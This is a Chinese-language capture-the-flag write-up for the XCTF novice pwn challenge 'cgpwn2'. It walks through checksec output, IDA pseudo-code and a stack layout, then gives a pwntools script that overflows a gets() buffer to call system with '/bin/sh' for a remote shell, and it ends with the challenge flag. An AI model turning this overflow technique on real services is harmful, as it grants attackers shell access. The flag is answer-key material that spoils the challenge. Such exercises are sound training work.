攻防世界-wp-PWN-新手区-6-cgpwn2

题目来源

CGCTF

题目描述

菜鸡认为自己需要一个字符串

题目场景

220.249.52.134:49499

题目附件

53c24fc5522e4a8ea2d9ad0577196b2f

题目思路:

题目给了pwn的函数是利用系统调用打印"hehehe",存在一个call system在0x0804855A,由于hello函数中的gets函数获取的字符串s没有输入字符数量的限制,直接栈溢出,将返回地址覆盖为call system,由于name在bss段中,地址固定不变,程序中调用了_system函数,但是没有/bin/sh,把name赋值为/bin/sh并且将其作为参数传给_system函数

解题过程:

拿到程序后,我们首先checksec一下,发现是32位小端序,保护开启了RELRO和NX,没有Stack和PIE,载入IDA,F5反编译得到伪C代码,进入hello函数:

char *hello(){
     
  char *v0; // eax
  signed int v1; // ebx
  unsigned int v2; // ecx
  char *v3; // eax
  char s; // [esp+12h] [ebp-26h]
  int v6; // [esp+14h] [ebp-24h]
......
  puts("please tell me your name");
  fgets(name, 0x32, stdin);
  puts("hello,you can leave some message here:");
  return gets(&s);
}

首先要求我们通过fgets函数输入一个名字,从键盘读取最多0x32个字符到name区域,然后提示我们通过gets函数输入一些信息,没有输入字符数量的限制

.bss:0804A080 name            db 34h dup(?)           ; DATA XREF: hello+77↑o

name是bss段的一个大小为34的区域,s区域的起始位置是距离栈底0x26个字节的地方,大小不限

-00000038 ;
......
-00000026 s               db ?
......
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008
+00000008 ; end of stack variables

在左边的函数列表中,有一个叫做pwn的函数,在实际运行过程中并不会被调用,这个函数利用系统调用打印"hehehe",按下tab后按下空格可以看到在0804855A 有一个call _system

.text:0804854D pwn             proc near
.text:0804854D ; __unwind {
.text:0804854D                 push    ebp
.text:0804854E                 mov     ebp, esp
.text:08048550                 sub     esp, 18h        ; Integer Subtraction
.text:08048553                 mov     dword ptr [esp], offset command ; "echo hehehe"
.text:0804855A                 call    _system         ; Call Procedure
.text:0804855F                 nop                     ; No Operation
.text:08048560                 leave                   ; High Level Procedure Exit
.text:08048561                 retn                    ; Return Near from Procedure
.text:08048561 ; } // starts at 804854D
.text:08048561 pwn             endp

在hello函数中有一个部分用gets函数向栈的s区域读取了字符串,gets函数不限制字符数量程序并且没有开启stack保护,输入字符串覆盖栈上hello函数的返回地址,程序执行完hello函数之后返回到call _system这里,然后把name赋值为/bin/sh,最后把name也就是/bin/sh当参数传入system。

脚本:

from pwn import *
p = remote('220.249.52.134', 49499)
name=0x0804A080
callsystem=0x0804855A
parameter="/bin/sh"#参数
payload="A"*0x26+"a"*4+p32(callsystem)+p32(name)#26+4到达返回地址后依次传入call_system和name的地址
p.recvuntil("name")
p.sendline(parameter)
p.recvuntil("here:")
p.sendline(payload)
p.interactive()

cyberpeace{3e0e437f3c60f9d6ea2390df1e800233}

你可能感兴趣的:(pwn,安全)